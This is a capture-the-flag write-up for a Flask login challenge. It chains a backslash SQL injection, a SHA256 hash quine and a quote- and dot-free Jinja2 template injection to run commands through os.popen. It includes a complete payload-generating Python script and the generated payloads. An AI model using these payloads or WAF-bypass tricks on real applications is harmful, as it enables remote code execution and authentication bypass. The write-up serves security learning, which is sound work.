Difficulty: Hard but Fun
1. Challenge Overview
We are given a Flask application that mimics a login portal. The goal is to access the internal /home route and read the flag using the /readflag binary.
The Obstacles:
- Strict WAF: A
waf()function explicitly blocks single quotes ('), double quotes ("), and periods (.). - Secure Login Logic: The application verifies credentials by checking if the returned database row exactly matches the input username and the SHA256 hash of the input password.
- SSTI: The vulnerability lies in the
/homeroute, whererender_template_stringis used on the session user, but reaching it requires bypassing the login first.
2. Vulnerability Analysis
The WAF (No Quotes, No Periods)
The WAF makes standard attacks impossible.
- SQL Injection: You can’t use
'to break out of string literals. - SSTI: You can’t use
config.__class__(contains a period) or['os'](contains quotes).
The “Swallow” (SQL Injection)
The application uses an f-string to build the query:
f"WHERE username = ('{username}') AND password = ('{password}')"
Since we cannot use quotes to close the string, we use a backslash (\) in the username.
- Input:
payload\ - Result:
username = ('payload\') AND password = ('...')
The backslash escapes the closing quote. The database now views the entire middle section (including AND password = () as part of the username string. This “swallows” the query logic, allowing our password input to become raw SQL commands.
The “Hash Quine” (Logic Bypass)
The application performs this check:
if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]: # Fail
This is the “Double Check” with a twist. We need to inject a SQL query (the password) that returns the SHA256 hash of itself.
In computer science, a program that outputs its own source code is a Quine. Here, we need a Hash Quine:SHA256(Input_SQL) == Database_Output
3. Developing the Exploit
We need to chain three specific bypasses.
Step 1: The Quote-less, Dot-less SSTI
We need to execute config.__class__.__init__.__globals__['os'].popen('/readflag').read(). But we can’t use . or '.
The Bypass: We use Jinja2 filters and the dict() constructor.
- Generating Strings:
dict(os=1)|list|firstcreates the string"os"becausedict(os=1)creates{'os': 1}. - Accessing Attributes: Instead of
obj.attr, we useobj|attr("attr"). - Accessing Items: Instead of
obj['key'], we useobj|attr("__getitem__")("key").
The Payload Logic:
# Target:
config.__class__
# Payload:
config|attr(dict(__class__=1)|list|first)
We chain this logic to reach the os module and execute commands.
Step 2: The SQL Swallow
We append a backslash \ and close the Jinja payload with }} to our username.
- Username Payload:
{{ ... SSTI ... }}\
This forces the database to ignore the original query structure and interpret our password as the new query logic.
Step 3: The Hash Quine
We use a standard SQL Quine structure wrapped in MySQL’s SHA2() function.
Standard Quine: REPLACE(T, $, T) Hash Quine: SHA2(REPLACE(T, $, T), 256)
We also need to handle the Hex Encoding issue (Polyglot Quine) because we pass our strings as Hex to avoid quotes.
Final Structure:
UNION SELECT <User_Hex>, SHA2(REPLACE($, 0x24, CONCAT(0x3078, LOWER(HEX($)))), 256)
4. The Solution Script
Here is the complete Python script to automate the generation of the Quine.
import binascii
def to_hex(s):
return "0x" + binascii.hexlify(s.encode()).decode()
def generate_ssti_payload():
# Helper to generate a string literal in Jinja: "text" -> dict(text=1)|list|first
def S(text):
return f"dict({text}=1)|list|first"
# Helper for attribute access: obj.attr -> obj|attr("attr")
def Attr(obj, attr):
return f"{obj}|attr({S(attr)})"
# Helper for calling methods: obj.method(arg)
def Call(obj, method, arg):
return f"{obj}|attr({S(method)})({arg})"
# 1. Build the path: config.__class__.__init__.__globals__['os']
p = "config"
p = Attr(p, "__class__")
p = Attr(p, "__init__")
p = Attr(p, "__globals__")
p = f"{p}|attr({S('__getitem__')})({S('os')})"
# 2. Build the command: .popen(request.args.get('cmd'))
# We use request.args.get('cmd') so we don't have to construct the string "/readflag" inside the SSTI
req_args = Attr("request", "args")
cmd_arg = Call(req_args, "get", S("cmd"))
p = Call(p, "popen", cmd_arg)
# 3. Read output: .read()
p = f"{Attr(p, 'read')}()"
# Wrap in {{ }} and add the backslash for SQL injection
return "{{" + p + "}}\\"
def solve():
# --- 1. Construct Username (SSTI + Swallow) ---
ssti_payload = generate_ssti_payload()
u_hex = to_hex(ssti_payload)
# --- 2. Construct Password (Hash Quine) ---
# The template uses '$' (0x24) as a placeholder.
# It wraps the reconstruction in SHA2(..., 256) to match the Python check.
template = f") UNION SELECT {u_hex}, SHA2(REPLACE($, 0x24, CONCAT(0x3078, LOWER(HEX($)))), 256)#"
# Calculate hex of the template itself
h = to_hex(template)
# Replace placeholder with the hex string
final_password = template.replace("$", h)
# --- 3. Execute ---
# 'cmd' parameter is used by our SSTI payload to execute /readflag
params = {"cmd": "/readflag"}
data = {
"username": ssti_payload,
"password": final_password
}
print(data)
if __name__ == "__main__":
solve()
```
# 5. The Winning Query
Running the script generates the crafted Quine query to use for attacking.
```json
{'username': '{{config|attr(dict(__class__=1)|list|first)|attr(dict(__init__=1)|list|first)|attr(dict(__globals__=1)|list|first)|attr(dict(__getitem__=1)|list|first)(dict(os=1)|list|first)|attr(dict(popen=1)|list|first)(request|attr(dict(args=1)|list|first)|attr(dict(get=1)|list|first)(dict(cmd=1)|list|first))|attr(dict(read=1)|list|first)()}}\\', 'password': ') UNION SELECT 0x7b7b636f6e6669677c617474722864696374285f5f636c6173735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f696e69745f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f676c6f62616c735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f6765746974656d5f5f3d31297c6c6973747c6669727374292864696374286f733d31297c6c6973747c6669727374297c61747472286469637428706f70656e3d31297c6c6973747c66697273742928726571756573747c61747472286469637428617267733d31297c6c6973747c6669727374297c617474722864696374286765743d31297c6c6973747c666972737429286469637428636d643d31297c6c6973747c666972737429297c61747472286469637428726561643d31297c6c6973747c66697273742928297d7d5c, SHA2(REPLACE(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923, 0x24, CONCAT(0x3078, LOWER(HEX(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923)))), 256)#'}
Now, if we submitted this to the form, the query would become like this:
SELECT username, password FROM users WHERE username = ('{{config|attr(dict(__class__=1)|list|first)|attr(dict(__init__=1)|list|first)|attr(dict(__globals__=1)|list|first)|attr(dict(__getitem__=1)|list|first)(dict(os=1)|list|first)|attr(dict(popen=1)|list|first)(request|attr(dict(args=1)|list|first)|attr(dict(get=1)|list|first)(dict(cmd=1)|list|first))|attr(dict(read=1)|list|first)()}}\') AND password = (') UNION SELECT 0x7b7b636f6e6669677c617474722864696374285f5f636c6173735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f696e69745f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f676c6f62616c735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f6765746974656d5f5f3d31297c6c6973747c6669727374292864696374286f733d31297c6c6973747c6669727374297c61747472286469637428706f70656e3d31297c6c6973747c66697273742928726571756573747c61747472286469637428617267733d31297c6c6973747c6669727374297c617474722864696374286765743d31297c6c6973747c666972737429286469637428636d643d31297c6c6973747c666972737429297c61747472286469637428726561643d31297c6c6973747c66697273742928297d7d5c, SHA2(REPLACE(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923, 0x24, CONCAT(0x3078, LOWER(HEX(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923)))), 256)#')
Analysis of the constructed query
To understand why this works, look at how the Database interprets our injection versus how Python sees it.
The Database Query (Parser View): The username field “swallows” the first part of the password check.
SELECT ... WHERE username =
('{{...}}\') AND password = (') -- All of this is ONE string (the username)
UNION SELECT -- Real SQL Command starts here
0x7b7b..., -- Returns our SSTI payload
SHA2(REPLACE(...), 256)# -- Returns SHA256(Input_Password)
The Python Check:
- Python hashes our input
final_password. - Database executes the Quine and returns
SHA2(final_password). - The values match.
- User is logged in as
{{ config... }}. - Flask renders the template, executing
/readflag.
6. Result
Logging in with the query successfully bypasses the WAF, satisfies the strict login check, and executes the readflag binary.
Flag:
uoftctf{r3cuR510n_7h30R3M_m0M3n7}